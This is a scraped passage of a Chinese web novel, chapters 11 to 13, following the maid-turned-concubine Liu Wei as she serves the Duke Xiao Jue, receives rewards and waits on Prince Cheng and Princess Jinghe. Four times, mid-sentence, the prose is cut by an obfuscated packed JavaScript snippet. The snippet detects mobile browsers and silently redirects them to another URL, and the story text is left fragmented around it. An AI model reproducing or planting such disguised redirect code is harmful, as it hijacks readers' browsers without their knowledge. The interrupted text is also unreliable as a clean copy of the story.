目送二毛之余，柳薇琢磨萧绝一阵回来，大约也有专人侍应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125172|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用不上她，于是打热水回房洗漱了。 才洗完脸，窗外响起一声“来人”。柳薇倏地愣住，头慢慢转向了北面正屋。 是萧绝吗？ 一边怀疑，一边开门朝正屋一望，果然闪着亮光。 “来人。”里头又唤一声。 柳薇顿在原地，观望片刻，不见人来。柳薇不知所措，脑子里盘旋着“要不然装没听见好了”的念头。 ……那可是萧绝啊，她怎么敢对他的命令充耳不闻呢？ 柳薇磨磨蹭蹭上前，隔着门询问：“奴婢在……您是有什么指示吗？” “……其他人呢？”对方显然分辩出是她。 “奴婢不知……” “……也罢。你速去小厨房，煮碗醒酒汤端进来。” 柳薇应声而去。 拜醉鬼混账爹所赐，煮醒酒汤她最拿手。少时，她捧着汤，推开门，谨小慎微地放于桌子上。 萧绝撩起眼皮，看见灯影下杵着一个人，单薄、瘦弱；这人只着中衣，袖口卷起，领口半敞，发丝湿漉漉地贴在两鬓。 “柳薇，你是故意的？” 柳薇经不起他的质问，慌得抓紧了托盘：“奴婢……愚笨，听不懂您的意思……” “衣服。” 柳薇后知后觉自己仪容不整，连忙解释：“奴婢正洗脸，听见您喊人，顾不上别的，就……出来了。奴婢不是有意的……” 她半低着头，掩不住左右飘忽的眼色。她是真慌了。 萧绝洞悉人心，知她所言不虚，“嗯”了下，捏起碗沿，将醒酒汤一饮而尽。“拿下去吧。” “是。”柳薇收起碗，突然记起白日那玉如意，毕竟价值不菲，还是亲口请示一下萧绝稳妥。她尽管盯着自己的鞋尖，道：“早晨老祖宗叫奴婢去说话，完了赠了奴婢一柄玉如意……奴婢不敢擅作主张……” 回答她的，是漫长的寂静。 柳薇忍不住，一点一点地移动视线，萧绝的靴子，萧绝的裤腿，萧绝的腰带，萧绝的衣襟……最终坠入一双漫不经心的墨瞳中。 “祖母给你的东西，何需又来问我？” 柳薇惧于和他对视，迅速低头，答：“奴婢人微言轻，自知无福消受……” 萧绝道：“倒是有些自知之明。” “那奴婢这就回屋拿过来，凭您安排……” “不必。”萧绝道，“既是祖母看得起你，那你可以收着，务必妥善保管。” 柳薇腹诽：这位爷真是善变，一会一个意思…… 柳薇准备退下，又闻萧绝道：“今日过节，按惯例该赏你。” 他的赏，带给她的压力比萧老夫人的更甚，柳薇焉敢领。及欲启齿婉拒，忽然听得桌子上清脆的一声——居然是萧绝褪了拇指间的玉扳指，随手丢在了桌上。 “柳薇，自己过来拿。”他手肘支于桌面，五指自然合拢，头便轻轻倚在指端，似笑非笑地看向她。 柳薇举步维艰，茫然无措。 他为什么变得这样好说话？还冲她笑？ 她的疑惑、她的畏惧，尽数逃不过萧绝的法眼。好处摆在眼前却犹犹豫豫……真是个老实巴交的蠢东西啊。 萧绝垂下手臂，转而捻起玉扳指，使着一二分的力气一扔，旋即，那扳指不偏不倚地落在柳薇脚边，完好无损。“我乏了，你可以退下了。” 萧绝的耐心不多，再迟疑，指定又是一场风波。柳薇俯身拾玉扳指在手，一步步退出去。 11. 第十一章 从正屋出来以后，柳薇回厢房，把萧绝的玉扳指和老夫人的玉如意，共同收藏在盒子里，还专门上了锁，放置于衣橱的最上层。 次日，二毛揉着睡眼，抱着空水盆，出门接热水。柳薇看见他，走过来轻声问：“韩大哥的烧退了吗？” 二毛迷糊着，没听清她的话，道：“柳姑娘，你说话声大点，我听不清。” 柳薇瞄一眼正屋，道：“你也小点声吧。国公爷在屋里歇着呢，当心吵醒国公爷。” 二毛登时醒透了，压着嗓子问：“那国公爷昨晚啥时候回来的？我怎么没听到动静呢？国公爷有没有叫人伺候啊？” 柳薇无奈道：“半夜回来的，叫人来着，可没一个人应的，还是我……算了，也没出什么错儿。”柳薇将话题拉回来，“绕这么一大圈，你还没告诉我，韩大哥怎么样了？” 她有隐情，二毛识趣，不作纠缠，道：“烧是退了，可嗓子哑了，发不出声音，估计还得四五天才能好全。” 柳薇松了口气：“不烧了就好。那我不拦着你了，你快去忙你的吧。” 二毛忙着照顾东良，柳薇也没闲着，里里外外清扫以后，仰头所见，旭日初升。 说来奇怪，她一直在院子里干活，那正屋的门却纹丝不动；论理，萧绝严于律己，往日这个时辰，早不在府里了。 她记得昨晚萧绝身上的酒气，很浓……莫不是贪杯，醉得现在都不省人事吗？ 思索再三，柳薇慢慢走去正屋门外，细声细气道：“国公爷……您是不是身体不爽利，需不需要奴婢请府医过来？” 里面有人咳了两下，后说：“不必。忙你的去。” 对方如此吩咐，柳薇也不上赶着自找没趣，答应着走开。 待门口的影子散去，萧绝掀开被子坐起来，按一按胀痛的太阳穴，眼色清明些许。 梳洗穿戴完毕，萧绝去了明心斋，和萧老夫人请安。 一看他那宿醉后的脸色，憔悴不已，萧老夫人便知他因何来迟。捉住他的手，正准备嗔怪他又贪杯，却惊呼出声：“哎呦，这手好烫！” 凑巧，萧绝喉咙发痒，没忍住咳嗽了几声。萧老夫人忙忙重视起来，拉着他坐下，招手使人请府医。 萧绝不以为意：“祖母不要紧的，不用麻烦了。衙门里还有点事没了结，我这就……” 萧老夫人按住他，道：“病着呢，外面又风嗖嗖的，就不要折腾了。至于公事，大过年的，放放也无伤大雅。实在你放心不下，有公文落在衙门，你就派个人去取，在家里办；要和人议事，就把他们请到家里来议。总之，你依我的，这几天你且好好在家里，等病养好了，随便你。哦，你那书房冷冷清清的，你不适合待在里头。接下来你回卧室里，暖暖和和地待着。” 又想起东良也病殃殃的，萧老夫人便把柳薇召过来，做出指示：“今后几天，你就负责小五的日常起居。” 老祖宗出马，萧绝无话可说，一切顺从。 萧绝且悉听尊便，柳薇更没得选，点头称是。 于是，柳薇亦步亦趋随萧绝回了院子。 萧绝径直回房，柳薇则拎着药包去小厨房，挥动扇子扇炉子熬药。 那厢，萧绝传了个小厮，手持他的腰牌去吏部，搬运各类文书；同时传达衙门中人，之后几若有要事请示，尽管来府上。 煎药需要耐心，柳薇最不缺的就是耐心。 一个多时辰以后，柳薇端着药碗，敲响正屋房门。 “进。” 得到许可，柳薇稳着步子入内。 萧绝正端坐于书桌前，提笔批阅奏折，笔势雄奇，字迹遒劲，俨然字如其人。 她只短短瞥了一眼，就回避了视线。 她光按老夫人的命令，在他病间细心服侍就好，旁的，一概不要好奇探究。 偏偏短暂的一眼，引来萧绝戏谑的反问：“你识得几个字，看得懂么？” 能把女儿卖给别人为奴为婢的人家，大抵也拿不出钱供她去认字念书。萧绝是笃定柳薇大字不识一个，是以奚落于她。 萧绝屡次骂柳薇蠢材，柳薇也是个人，有自尊心，一时脑热，忍不住为自己澄清：“奴婢上过几年学的，并不是大字不识……” “哦？”萧绝未设想她有心分辩，本尽数倾注于字里行间的目光，掀了起来，施舍她一个正眼。 他真直视自己，柳薇又怯懦了，深恐他会因此质问她哪里来的胆子窥视奏折，故而垂下眼帘，弱弱道：“只是上过几年，认得一些字，不至于做个睁眼瞎子，当然不配在您面前卖弄……您的字很好看，奴婢从没见过那么好看的字，就没忍住盯着看了一下……奴婢没有别的居心……” 萧绝再次摆出那个似笑非笑的表情：“说你蠢笨，你倒是乖觉起来了，长篇大论地恭维我。” 柳薇惊惶道：“奴婢是真心实意觉得您的字好看，绝没有违心……奴婢可以发誓的！” 萧绝轻描淡写道：“那你发来听听。” 柳薇那是情急之下脱口而出，岂料萧绝顺水推舟。总架在这里，不上不下也不是个法子，柳薇只得搁下药碗，竖起三根手指，作起誓状，略微酝酿，道：“奴婢发誓，方才所说的，没有一个字是假的，否则就……天打五雷轰。” 瘦瘦小小的人，为鸡毛蒜皮的小事发着顶天立地的誓言，确实是个没城府的笨东西。萧绝执笔在砚台里蘸了蘸，接着勾勾写写，一面淡淡道：“衣架子下边，有个钱袋子，你给我取过来。” 见他没有继续发难的迹象，柳薇谢天谢地，放下药碗，去衣架子那儿拣着他说的钱袋子，捧回来给他。 萧绝并不理睬，单说：“该领多少赏，你自己把握。” 领赏？柳薇不明就里，呆头呆脑道：“奴婢什么都没做，领什么赏呢……？” 萧绝笔下未停：“少点聒噪，拿了就出去。” 他不耐烦了，柳薇可不想碰钉子，糊里糊涂点点头，慎重地打开钱袋子，看里面有整的银锭子，也有银锞子，不假思索捏了个碎小的锞子，又把钱袋子合上，整整齐齐地放在桌子一角，轻步退出。 萧绝用不着柳薇在侧递筷布菜，柳薇便趁这时间找到杨嬷嬷，和她提起上午那没来由的打赏，五分疑惑五分苦恼道：“嬷嬷，您说无缘无故的，国公爷干嘛赏我呢？” 杨嬷嬷伸出食指戳一戳她额头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125173|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好笑道：“先不理论国公爷为什么赏你，只说国公爷许你自己在钱袋子里拿，明明有银锭子，再不济也有更大的银锞子，你怎么独独挑那最小的？你是呆呀，还是嫌钱多烧手，不把钱当回事呀？” 柳薇摸着额头，坦白心迹：“无功不受禄，我拿那大的，心里不安。况且，国公爷严肃冷酷，我一见了他，心怦怦跳，腿肚子也打颤……站都站不住了，哪还有力气思谋其他的。” 杨嬷嬷笑了：“这也就是你，遇上什么好处都先思量自己应不应该得。这倒也是好事，脚踏实地的，招人喜欢。我推测，大致是你诚心立誓，国公爷认可了你的一片赤诚之心，便大方赏你了。” 柳薇半信半疑：“夸赞国公爷字写得好，就能让国公爷开心吗？” 杨嬷嬷道：“那必然是你夸到国公爷心坎儿上了。”杨嬷嬷灵机一动，“照这么说，小柳，你以后多夸夸国公爷，国公爷一高兴，略略一出手，顶咱们一年的工钱呢。” 柳薇反过来给杨嬷嬷泼冷水：“嬷嬷想太美了，这回可能是我运气好，误打误撞。国公爷心深似海，高深莫测，还阴晴不定，您支的那招，我还是不考虑了，省得最后得不偿失。” 傍晚，柳薇坐在小杌子上，掰手指细数现在的身家：撇开老太太的玉如意以及萧绝的玉扳指，她共有八个月的月钱，其中有东良勒令春菱原封不动归还的七个月烧火丫头的三两五百钱，加上最近一个月提为萧绝侍妾的二两，以及上午从萧绝那儿得的一两银锞子，共计六两五百钱，不少了，然而距离所定的目标一百三十两，依然遥不可及…… 柳薇感觉格外绝望。 身旁药罐子咕嘟咕嘟作响，查看时，是火大水沸，把盖子顶起来了。柳薇连忙找两块抹布垫着端下火炉，将药汤装入碗里，立时送往萧绝屋内。 才出厨房，有人在背后叫她，回头一看，柳薇面露惊喜：“韩大哥？！你能下地出来了？” “懒了快两天，好多了。”东良温和一笑，冲她伸出手，她方才留意到，他掌心托着个墨竹花样的钱袋子，恰恰是萧绝曾令她取的那个，“我刚去和国公爷请安，国公爷让我揣着，转交给姑娘；此外有句话让我转述：‘舍一两出去打赏，未免丢我的人。’” 柳薇心慌意乱，迟迟没动弹。 东良含笑道：“姑娘现下明里是国公爷的人了，有本领让国公爷愉悦，这点银子，不算得什么，来日多的是呢。姑娘不用有心理负担，收下便是。” 柳薇难以置信：“收下，真的……没关系吗？” 东良不厌其烦道：“没关系的，这本就是姑娘应得的。”东良又问她讨要那药：“给我吧，我送进去。姑娘累了一天了，回去休息休息吧。” 茫然之际，盛药碗的托盘转移至东良手中，而她手里的空间，由满盈盈沉甸甸的钱袋子重新占据。 这是在做梦吗？ 目瞪口呆好一阵，柳薇转头回房，寻出戥子，仔仔细细称了三遍那袋银子，足足有二十两！ 柳薇一时手足无措，原地转了几十个圈，终是抱着那沉重的钱袋子，卧于榻上，口里呼呼喘着粗气。 一呼一吸间，居然不知不觉睡了过去。 12. 第十二章 几天后，院里来了个新人，是萧绝叫东良从后园子拨来的，正是春雨，上次意外后照顾过柳薇的。 现在柳薇公然是妾，春雨就是给她的丫头，自是与柳薇同吃同住。 春雨还是比柳薇活泼些，时隔月余，看柳薇胖了点白了点，发自内心一笑：“我一直念着姑娘，今儿见着姑娘好好的，我就放心了。” “多谢你记挂着我。”柳薇指指她挎着的包袱，“给我吧，我帮你放衣柜里。” “我是奉命过来伺候姑娘的，怎么好意思劳姑娘动手。”春雨自己打开柜子，安置了包袱；又回身走向桌子，看茶壶里空空如也，便快步出去：“姑娘等等，我去添了热水，回来为姑娘倒水喝。” 乍然出现一个人，因自己忙前忙后，柳薇恍然似梦。 春雨速去速回，捧着满水壶，倒了杯水，递与柳薇：“姑娘在想什么呢，想得那么入神？” 柳薇缓缓接住水杯，挨着桌子坐下，苦笑道：“我只是……不习惯。” 沦为贱籍后，她已习惯了对别人卑微，突然有一天有人对自己卑微起来，感觉挺刺挠的。 春雨笑道：“那我就稳稳当当做事，等姑娘慢慢儿习惯那天。” 此时，有人在外面敲了敲窗户：“柳姑娘，你出来一下。” 柳薇抬头，见是东良，忙放下水杯，出去问有什么事。春雨一并跟了出来。 东良道：“春天了，该去采买各种布匹，提前为府里的人裁制衣裳。柳姑娘，你一起去吧，帮着挑一挑。” 柳薇心存疑惑：“我又不懂，一块去有什么用处呢，反而给添乱。” 东良笑一笑：“这是国公爷的吩咐。” 萧绝办公时偏好吃浓茶，如此可以保持头脑清醒。不久前，东良去上茶，萧绝不经意地说：“每次看见柳薇，她总是一副寒酸样子。好歹在我院子里戳着，白白丢我的脸面。我算着，这两天是采办布匹的时候，正好，打发她跟着，随她挑她那份。” 萧绝有令，柳薇唯唯诺诺；春雨则留下来干她的活儿。 巳时，柳薇和管采买的高嬷嬷坐着马车前往京城最大的锦隆布行。巧得很，这布行地处城西，与当初买走柳薇母亲的钱员外家在一条街上，是门对门。 车子稳稳停靠于街边，高嬷嬷先下去，却不见柳薇出随后出来，便探入一双眼，见她偏着头，往对过那片张望，因问：“柳姑娘，该进去了，你瞅什么呢？” 街对面，钱员外家人进人出，一派繁荣，衬得柳薇越发心灰意冷。 “没什么。”柳薇撂下车窗帘，收心起身下车。 高嬷嬷精通各类布料，是个行家，而柳薇对此一窍不通，再加上为母亲之事烦心，只魂不守舍地陪着高嬷嬷走走停停。 那高嬷嬷看出柳薇心不在焉，便耐心地问：“柳姑娘是有什么心事？” 柳薇摇摇头。 高嬷嬷道：“一直琢磨也不济事，倒不如多看看眼前这些料子。柳姑娘，你喜欢什么花样的，今儿定下，改明儿好做衣裳。” 为了不继续给萧绝丢人现眼，影响萧绝的心情，柳薇收拾心绪，尽力在万花丛中挑中三匹，一匹葱绿的，一匹湖蓝的，一匹石青的。 高嬷嬷说：“姑娘年纪轻轻，这几个颜色太老气了。” 柳薇道：“我不太喜欢鲜艳的，而且国公爷也不想我太过招摇。” 萧绝自己衣柜里全是乌漆墨黑的衣服，那她一个微不足道的人，如果打扮得花红柳绿的，肯定碍他的眼，到头来岂不是自讨苦吃。 高嬷嬷依她的。 高嬷嬷与布行说定往国公府运送布匹的日期，届时拿着票据结账。然后两人出来。 高嬷嬷顾着萧绝的情面，让着柳薇，请她先上车。柳薇不能心安理得，和高嬷嬷谦让。偏是这时，远远过来一人一马，人高高地端端地骑在马背上；有风过境，吹起那人的几缕额发，翩翩绽开一张白玉般的面庞。 柳薇错愕一瞬，忙不迭背过身去，放弃与高嬷嬷推让，笑得有些不自然：“那我就不和嬷嬷客气了。”言罢，一头扎入车厢。 高嬷嬷察觉出些许古怪，倒未曾注意眼前翩然而过的身影，接着上车。 柳薇同高嬷嬷无甚交情，当然无甚话题，两人只沉默对坐。 柳薇双手交叠，搭在大腿上，姿势自然，心思却绞成了麻花。 方才街上那人，是孔湛，和她做了十几年的邻居。 前年春天，他去了白马书院读书，她在长街为他送行，祝愿他前程似锦。他走后一年，她家便发生巨变，四分五裂。 听说去年秋闱，他榜上有名。那今年的春闱，凭他的才华，定能高中的吧。 柳薇暗暗一叹，到底是渐行渐远了。 柳薇这一去一返，早过了午饭点，好在有个春雨，特意给她留了，怕放凉了，中途又热了两次。 一口热饭下肚，连同心也暖暖的。她转头，凝视片刻春雨拿着鸡毛掸子在窗台打扫的背影，道：“上午的活你替我做了，很累吧？你放着歇歇，我来就好了。” 春雨回首，笑道：“姑娘不用与我客气，再说我不觉得累。姑娘细嚼慢咽，有什么事，有我呢。” 东良悄无声息地走到门口，接上春雨的话：“巧了，现在就有一件事，可惜你不顶用。”东良看向柳薇，“柳姑娘，国公爷唤你去屋里为客人看茶。” 柳薇意外道：“唤我？” 萧绝不是烦她，不准她进屋里的吗？ 虽然前两天她出入过几次，但那是东良病体不适，无法照应，老太太才命她顶这个缺的。目前东良已痊愈，近身服侍，轮也轮不上她呀。 东良道：“对。客人已等着，耽误不得了，姑娘快去吧。” “哦，我这就过去。”柳薇擦干净嘴，一道寻思着泡好两杯茶水，便轻轻敲下正屋的门。 “进来。” 柳薇遵命，缓步入内。 有限的视野中，萧绝与一年轻男子面对面落座。她能感觉得出，那男子正注视着她。 这男子并非哪个无名之辈，恰是当初萧绝入宫陪侍读书的成王。 柳薇将茶依次放下，欲告退，不料萧绝说：“去那一边候着。王爷爱吃茶，一杯远不够吃的。” 成王笑出声来：“我专程到你这，是探病的，说得好像我过来占便宜的。” 萧绝笑而不语。 耳畔是二人轻松的玩笑，柳薇可松弛不起来，她一步步退至墙角，身姿畏缩，竭尽所能地降低自己的存在感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125174|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 成王终于从她身上移走视线，朝萧绝耐人寻味地笑：“别人与我说你纳妾了，我起初还不相信。现在，眼见为实了。” 萧绝端茶浅饮一口，慢条斯理道：“如王爷所见，臣无大碍，明日当能回归正轨。王爷可还有他事？如果没有，臣想再松快半日。” 成王敲着他办公的桌子：“本王远道而来，没慰问几句，就撵本王走？萧大人，你这不厚道啊。” 萧绝搁下茶盏，笑得极浅：“王爷请吃完茶再走吧，不然浪费了这雨前龙井。” “罢罢罢，不与你计较。”成王托起茶盏尝了一口，眉毛一跳，旋即仰头饮尽，笑道：“水放多了，味有点淡，不过茶叶倒是上好的。” 萧绝眼风轻轻带过角落里的柳薇，道：“虽是粗笨，倒也省心。” 柳薇心虚得手心沁了层薄汗。她从前也没机会给主子泡茶奉茶，她也不喜欢喝茶，就没下功夫钻研。原也以为泡茶简单，把水烧开了再把茶叶倒进去，泡匀了就成，谁承想里头的门道那么深呐…… “你倒是看得开。”成王起身到一半，忽而记起什么来，两个手掌撑在桌沿，略微俯视萧绝，“差点忘了，我今天是搭敬和的车过来的，敬和眼下在你家老太太那里，约摸快寒暄完了，马上就来你这了，你可不要怠慢了她。” 萧绝面色如常：“公主驾临，当然好生招待。这点礼数，寒舍还是有的，王爷不必担心。” 成王抬手转身，经过柳薇前面，回头望萧绝：“本王是客，你横竖有点表示，指个人来送送本王啊。” 柳薇有种直觉，成王十有八九是想让她做这个送客的人，好为敬和公主萧绝腾地方独处。 柳薇根本没拿自己正经当半个主子，所以送客这事，她非但不介意，反而希望萧绝给个痛快，打发她走——有萧绝在的地方，太具压迫感，太过煎熬，不如出去自在。 柳薇蜷缩在那里，只露个头顶，懦生生的。萧绝回视成王，道：“自然。”随后喊东良送客。 成王提起唇角，没再言语，信步出门。 成王一走，柳薇才听见自己打雷般的心跳，及断断续续的呼吸。 柳薇的恐慌，掩饰不住，这令萧绝心中泛起一丝丝好笑的涟漪：“你很怕？” 柳薇艰涩道：“奴婢……不敢……” “不敢？不敢怕我，还是不敢怕成王？” 柳薇拜倒在他刁钻的问题上，嗫嚅好一会，不过是在“奴婢”二字上打转。 “柳薇，过来。”熟悉的、无法拒绝的口吻。 柳薇应声靠近。 “抬起头来。” 柳薇顺从，视线一点一点和他的视线齐平。出乎意料地，他在笑。 “你是我的妾，送客出门这种小事，自有其他人做。懂了么？” 柳薇太嫩了，也太笨了，一切尽在他锐眼洞视下。面对他，柳薇只有说“是”的份儿：“是，奴婢记住了……” 萧绝将头稍稍往后一仰：“把这里收拾了，另换一杯茶来。” 据成王所言，敬和很快过来寻萧绝。既然待客，哪有只上一杯茶的道理。柳薇虽心存不解，然她懂得分寸，萧绝有令，照做便是，绝不会多嘴。于是乎收好两副茶盏，蹑脚出去。 13. 第十三章 从明心斋出来，秋云扶着敬和，徐徐往萧绝处而来。 方才敬和与萧老夫人的对话犹在耳畔，秋云忍不住道：“那萧老夫人说起话来模棱两可的，奴婢竟琢磨不透萧老夫人是个什么态度。” 之所以时隔四年敬和与萧绝又来往起来，是因为敬和看明白了，她龙椅上那小侄子，仅仅是萧绝的傀儡；萧绝非池中之物，早晚有一日取而代之。 别看现在她是万人敬仰的公主，他日，不定如何。所以她要在局势天翻地覆前寻一个靠山，而和她有青梅竹马之谊的萧绝，便是不二之选。 一定会有人会谴责她身为公主却同“叛臣”沆瀣一气，但她无所谓，她是个肤浅且自私的人，只在乎自己的身家性命能否保得住。 再说了，谁让当初老皇帝言而无信，说好了立她做皇太女，偏偏后来变了卦，一意孤行把太子之位传给了一个行宫婢子所生的下贱胚子。既然如此，她又何必爱惜那贱种的后代？不如早为自己做打算。 有了打算，敬和又是个急性子，便趁这趟去拿萧绝纳妾一事试了试萧老夫人，那萧老夫人却言，儿孙自有儿孙福，她老了，没有过多精力关注了。 敬和冷笑道：“儿孙自有儿孙福？我倒要去问问萧绝，究竟是不是福。” 秋云第一个膈应柳薇，噘着嘴说：“公主为万金之躯，要找什么样的人没有，何苦执着于那一个人？以前也就算了，萧大人身边干干净净，现如今……您容忍得下吗？” 敬和举手扶一扶头上的金步摇，傲然道：“我以前是喜欢他，现在不一样了，选择他，不过是他最合适。至于那婢子，身份摆在那里，一个用来消遣的玩意儿，还入不得我的眼。” 敬和垂下手臂，一边向前走，一边闲闲道：“玩意儿嘛，新鲜的时候戏弄戏弄，时间一长，自然就腻了。随他去好了。” 这边敬和故意走得散漫，让萧绝多等会，这一用心，刚好碰上了柳薇。 幸亏柳薇提前看见了，及时站定请安，没重蹈覆辙，冒昧着敬和。 她规规矩矩的，敬和没法挑剔，甩下个冷眼径直踏入正屋。 柳薇也不情愿面对敬和，略微停了会，安了安心神，才低眉敛目地进去上茶。 只见敬和自然而然坐去萧绝对面，眼睛直对着萧绝。柳薇刚把茶送出，敬和便冷声道：“今天没胃口吃茶，撤下去。” 柳薇顺应形势，准备撤回胳膊，萧绝又放话了：“公主有没有胃口品尝，那是公主的自由，而上不上茶水，则是寒舍的礼数。” 柳薇不得已，又把茶往出端。 敬和却眨眨眼，悄然生笑：“左一个寒舍又一个礼数的，莫非你真与我生疏了不成？承影哥哥。” 承影，萧绝的字。两人闹掰前，敬和总是甜腻腻地喊他承影哥哥，虽然他十次里有九次不答应就是了。 “我一直拿公主当妹妹看待，谈何生疏？”萧绝神情自若，眼神轻轻一点处境尴尬的柳薇，“举着不累么？放下吧。” 柳薇确实手腕酸困，依从他的，把茶放在敬和左手边，悄摸退后。 “谁许你走了？”萧绝出声，柳薇立时僵住，举目看向他，眼里饱含迷茫和无助。萧绝翻手握住后脖子，微微仰头左右活动两下脖子：“过来，替我捏捏肩。” 柳薇有些错愕，片刻没动作。 见状，萧绝嘴角勾起一丝弧度：“愣着做什么？过来。” “是……”柳薇绕开敬和，举步去他身畔。目之所及，是青丝三千——他在家休养这几天，头发不似寻常整整齐齐地束起来，却是时而披散时而半束，现下则以一支白玉簪子半挽半散，透着一种违和的随性。 即便是那个粉身碎骨的夜晚，柳薇也没敢伸手触碰他。 柳薇无从下手。 百般纠结之际，一个大手从眼皮子底下伸上来，扼住了她的腕骨，将她无处可去的手，带至一片玄色衣料上。 “开始吧。”大手抽离，旋即有一双沉静的眼为她偏斜，“用点力气，别搞得像没吃饭似的。” 心在狂跳，是紧张使然。 “哦……”柳薇蜷起手指，一顿一顿地按在那副宽肩上，并询问他的感受：“这力道，您看可以吗？” 萧绝道：“差点。” 柳薇指尖更用力：“这下呢？” 萧绝仍然不满意：“你尽管使力，无须克制。” 柳薇咬牙，用力用到手指头都在颤抖。 “嗯，可以了。”这位祖宗终于满足了。 那两个人，你一言我一语，一个捏肩一个享受，何其亲密。敬和旁观一场，尽量忍住恼火，一手抓起茶盏，啜了口茶水，又重重地撂下，阴阳怪气道：“我费力来看望你，你却于我不理不睬，一味叫人捶背捏肩，好生闲适。莫非这就是你萧家的待客之道？” 柳薇吓得一激灵，手下凝滞。萧绝不以为意道：“继续。” 敬和强压着不爽，从齿缝挤出今日来意：“你让她退下，我有话和你单独谈。” 萧绝道：“公主要谈什么，请谈吧。至于她，公主当成个会出气的石头就算，不必避讳。” 敬和忍无可忍，朝柳薇飞了一记眼刀子：“她有哪点够看的，值得让你这么护着她？” 敬和矛头直指柳薇，柳薇生生惊出一身冷汗；而倾尽全力捏了挺久的肩膀，手指又酸又麻，似乎不是自己的了。双重压迫下，她停止手上动作。不及怎么样，萧绝又说：“不要停，继续。” 柳薇欲哭无泪，操着麻木的双手，接着按。 “如公主所见，”萧绝坦率道，“实诚又温顺，并不惹人生厌。” 敬和道：“所以，我既不实诚也不温顺，惹你生厌了？” 萧绝道：“她是我的人，合该诚实温顺。公主又不是，何必耿耿于怀？” 敬和铁青着脸，起身，直视他：“你明知道我是什么意思，装什么傻呢？” 萧绝不动如山：“公主说我装傻，公主又何尝不是呢？” 敬和恼羞成怒，瞪一眼柳薇，拂袖离去。 二人说话如同打哑谜，柳薇听不懂，但两人吵得不欢而散，是很直观的。 萧绝脾气臭，柳薇生恐迁怒自己，手底下减了力气，又不动声色地窥视他，他侧脸对着她，和一开始没什么两样。 看来他没动气？ 柳薇才松了口气，就闻听他说：“不是让你用着劲儿么？还总是软绵绵的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125175|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明已经卯足力气了，他仍旧挑三拣四的，而且已按压了小一炷香，两只手十根手指全僵了……柳薇觉得相当冤枉。 “奴婢没力气了，不是有意让您不满意的。”柳薇也存着些委屈，突然不想找理由遮遮掩掩，索性实话实说了。 萧绝略略前倾，以手肘撑桌，再斜过头来，眼底浮起浅薄的笑：“你是在跟我顶嘴吗？” “您误会了，奴婢不敢。”柳薇闷头后退，一直退到他对面，开始清理桌面。 萧绝的目光，难得为她停驻，更难得追随于她。这个小丫鬟，似乎也有点小脾气。 柳薇收了茶杯茶盘，福身告退时，萧绝不紧不慢开口：“你今天去布行，选了些什么料子？” 柳薇不知他何意，也不去猜测，反正猜来猜去猜不透，徒伤脑筋，只管回答：“奴婢也没接触过那些，所以只选了颜色，其余的就全凭高嬷嬷决定了。”接着坦白选中哪几个颜色。 萧绝却话锋一转：“你今年多大了？” 柳薇道：“奴婢十七了。” “不过十七，每天灰头土脸的，真是有碍观瞻。”萧绝随意摆手，示意她出去，“你去把东良叫过来。” 柳薇照做。 入夜，柳薇洗干净脸，顾镜自照，越照，眉头锁得越紧。 春雨倒完洗脸水回来，见她还在照镜子，满怀不解地问：“姑娘一直看什么呢？” 镜中人，皮肤虽不算得粉白透亮，却也干干净净，不至于灰头土脸、邋里邋遢。 哦，那就是萧绝看她碍眼，存心刻薄她了。 柳薇深以为然，因此释怀，离开铜镜，坐回床上，笑道：“没什么。时辰不早了，睡吧。” 次日，萧绝神清气爽出门去上朝，东良没有陪同，则是亲自去了趟凝香馆，采购一批时兴的胭脂水粉首饰珠宝，大中午才回。 指挥人往二姑娘三姑娘处各抬了两箱子，余下一箱子，东良请来柳薇，含笑解释：“这一箱子就是姑娘的了。姑娘今后不必干粗活重活，派得上用场的。” 柳薇丈二和尚摸不着头脑。 东良笑道：“姑娘多多打扮，国公爷看了，心情也会好的。” 柳薇不开窍，疑惑道：“可国公爷不是不喜欢花里胡哨的吗？” 东良无奈道：“姑娘怎么还不明白？姑娘现在代表的是国公爷的体面，自是要形容得体、装束精致。” 